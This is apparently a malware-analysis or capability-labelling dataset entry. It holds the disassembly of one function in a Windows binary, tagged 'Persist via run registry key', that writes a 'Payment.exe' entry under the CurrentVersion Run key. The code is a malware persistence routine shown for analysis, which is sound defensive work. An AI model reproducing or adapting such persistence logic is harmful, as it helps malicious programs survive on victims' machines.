Function at 0x402b48
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0x80000301
push 0
push 0x1f4
push 1
mov ebx, 0x404bf0
call fcn.004036d9
add esp, 0x10
push 0
mov ebx, 0x403970
call fcn.004036d9
add esp, 4
mov dword [ebp - 4], eax
push 0
mov ebx, 0x403990
call fcn.004036d9
add esp, 4
mov dword [ebp - 8], eax
push dword [ebp - 8]
push 0x4829f4
push dword [ebp - 4]
mov ecx, 3
call fcn.0040106f
add esp, 0xc
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402bc4
push ebx
call fcn.004036cd
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x402bd4
push ebx
call fcn.004036cd
add esp, 4
push getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x402be7
mov eax, 0x4829f6
push eax
push 1
mov ebx, 0x404320
call fcn.004036d9
add esp, 0x10
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x402c0d
push ebx
call fcn.004036cd
add esp, 4
mov eax, dword [0x5c8328]
xor ecx, ecx
test eax, eax
je 0x402c1b
mov ecx, dword [eax + 4]
push ecx
add eax, 8
push eax
mov eax, dword [ebp - 0x10]
xor ebx, ebx
test eax, eax
je 0x402c2c
mov ebx, dword [eax + 4]
add eax, 8
push eax
cmp ebx, ecx
mov eax, 1
jne 0x402c43
dec eax
test ecx, ecx
je 0x402c43
call fcn.00401168
add esp, 0xc
test eax, eax
mov eax, 0
setne al
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x402c63
push ebx
call fcn.004036cd
add esp, 4
cmp dword [ebp - 0x14], 0
je 0x402d1e
push 0
mov ebx, 0x403970
call fcn.004036d9
add esp, 4
mov dword [ebp - 4], eax
push 0
mov ebx, 0x403990
call fcn.004036d9
add esp, 4
mov dword [ebp - 8], eax
push dword [ebp - 8]
push 0x4829f4
push dword [ebp - 4]
mov ecx, 3
call fcn.0040106f
add esp, 0xc
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402cc2
push ebx
call fcn.004036cd
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x402cd2
push ebx
call fcn.004036cd
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [0x5c8328]
test eax, eax
jne 0x402ce7
mov eax, 0x482a1b
push eax
push getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x402cfb
mov eax, 0x4829f6
push eax
push 2
mov ebx, 0x404390
call fcn.004036d9
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x402d1e
push ebx
call fcn.004036cd
add esp, 4
push 0
mov ebx, 0x403990
call fcn.004036d9
add esp, 4
mov dword [ebp - 4], eax
push dword [ebp - 4]
push 0x48ceba
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402d5b
push ebx
call fcn.004036cd
add esp, 4
push 0
push 0
push 0
push getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x402d74
mov eax, 0x4829f6
push eax
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x404b20
call fcn.004036d9
add esp, 0x28
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x402da6
push ebx
call fcn.004036cd
add esp, 4
push 0
mov ebx, 0x403970
call fcn.004036d9
add esp, 4
mov dword [ebp - 0x10], eax
push 0
mov ebx, 0x403990
call fcn.004036d9
add esp, 4
mov dword [ebp - 0x14], eax
push dword [ebp - 0x14]
push 0x4829f4
push dword [ebp - 0x10]
mov ecx, 3
call fcn.0040106f
add esp, 0xc
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x402dfb
push ebx
call fcn.004036cd
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x402e0b
push ebx
call fcn.004036cd
add esp, 4
mov eax, dword [ebp - 0x18]
push eax
push dword [ebp - 0xc]
call fcn.004010cb
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x402e38
push ebx
call fcn.004036cd
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x402e48
push ebx
call fcn.004036cd
add esp, 4
cmp dword [ebp - 0x1c], 0
je 0x402f5a
push 0
mov ebx, 0x403990
call fcn.004036d9
add esp, 4
mov dword [ebp - 4], eax
push dword [ebp - 4]
push 0x48ceba
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402e8f
push ebx
call fcn.004036cd
add esp, 4
push 0
mov ebx, 0x403970
call fcn.004036d9
add esp, 4
mov dword [ebp - 0xc], eax
push 0
mov ebx, 0x403990
call fcn.004036d9
add esp, 4
mov dword [ebp - 0x10], eax
push dword [ebp - 0x10]
push 0x4829f4
push dword [ebp - 0xc]
mov ecx, 3
call fcn.0040106f
add esp, 0xc
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x402ee4
push ebx
call fcn.004036cd
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x402ef4
push ebx
call fcn.004036cd
add esp, 4
push getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x402f07
mov eax, 0x4829f6
push eax
push getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x402f1b
mov eax, 0x4829f6
push eax
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x404b40
call fcn.004036d9
add esp, 0x28
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x402f4a
push ebx
call fcn.004036cd
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x402f5a
push ebx
call fcn.004036cd
add esp, 4
push 0x80000301
push 0
push 3
push 1
mov eax, 1
mov ebx, 0x45d660
call fcn.004036e5
add esp, 0x10
mov dword [ebp - 4], eax
push 0x48cee9
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402fa8
push ebx
call fcn.004036cd
add esp, 4
push getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x402fbb
mov eax, 0x4829f6
push eax
push 1
mov ebx, 0x404320
call fcn.004036d9
add esp, 0x10
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x402fe1
push ebx
call fcn.004036cd
add esp, 4
mov eax, 0x48cef5
xor ecx, ecx
test eax, eax
je 0x402fef
mov ecx, dword [eax + 4]
push ecx
add eax, 8
push eax
mov eax, dword [ebp - 0xc]
xor ebx, ebx
test eax, eax
je 0x403000
mov ebx, dword [eax + 4]
add eax, 8
push eax
cmp ebx, ecx
mov eax, 1
jne 0x403017
dec eax
test ecx, ecx
je 0x403017
call fcn.00401168
add esp, 0xc
test eax, eax
mov eax, 0
setne al
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x403037
push ebx
call fcn.004036cd
add esp, 4
cmp dword [ebp - 0x10], 0
je 0x4030d1
push 0x80000301
push 0
push 3
push 1
mov eax, 1
mov ebx, 0x45d660
call fcn.004036e5
add esp, 0x10
mov dword [ebp - 4], eax
push 0x48cee9
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40308f
push ebx
call fcn.004036cd
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x48cef5
push getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4030ae
mov eax, 0x4829f6
push eax
push 2
mov ebx, 0x404390
call fcn.004036d9
add esp, 0x1c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4030d1
push ebx
call fcn.004036cd
add esp, 4
push 0
push 0
push 0
push getpeername
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunPayment.exe
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x404b20
call fcn.004036d9
add esp, 0x28
mov dword [ebp - 4], eax
push 0x80000301
push 0
push 3
push 1
mov eax, 1
mov ebx, 0x45d660
call fcn.004036e5
add esp, 0x10
mov dword [ebp - 8], eax
push 0x48cee9
push dword [ebp - 8]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x403152
push ebx
call fcn.004036cd
add esp, 4
mov eax, dword [ebp - 0xc]
push eax
push dword [ebp - 4]
call fcn.004010cb
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40317f
push ebx
call fcn.004036cd
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x40318f
push ebx
call fcn.004036cd
add esp, 4
cmp dword [ebp - 0x10], 0
je 0x403235
push 0x80000301
push 0
push 3
push 1
mov eax, 1
mov ebx, 0x45d660
call fcn.004036e5
add esp, 0x10
mov dword [ebp - 4], eax
push 0x48cee9
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4031e7
push ebx
call fcn.004036cd
add esp, 4
push getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4031fa
mov eax, 0x4829f6
push eax
push getpeername
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunPayment.exe
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x404b40
call fcn.004036d9
add esp, 0x28
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x403235
push ebx
call fcn.004036cd
add esp, 4
mov eax, 0x48cee9
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.004033cb
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x403259
push ebx
call fcn.004036cd
add esp, 4
cmp dword [ebp - 8], 0
jne 0x403389
push 0x80000301
push 0
push 3
push 1
mov eax, 1
mov ebx, 0x45d660
call fcn.004036e5
add esp, 0x10
mov dword [ebp - 4], eax
push 0x48cee9
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4032b1
push ebx
call fcn.004036cd
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x48cef5
push getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4032d0
mov eax, 0x4829f6
push eax
push 2
mov ebx, 0x404390
call fcn.004036d9
add esp, 0x1c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4032f3
push ebx
call fcn.004036cd
add esp, 4
push 0x80000301
push 0
push 3
push 1
mov eax, 1
mov ebx, 0x45d660
call fcn.004036e5
add esp, 0x10
mov dword [ebp - 4], eax
push 0x48cee9
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x403341
push ebx
call fcn.004036cd
add esp, 4
push 0
push 0
push 0
push closesocket
push 0
push 0
push getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x403366
mov eax, 0x4829f6
push eax
push 3
mov ebx, 0x403830
call fcn.004036d9
add esp, 0x28
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x403389
push ebx
call fcn.004036cd
add esp, 4
jmp 0x402b51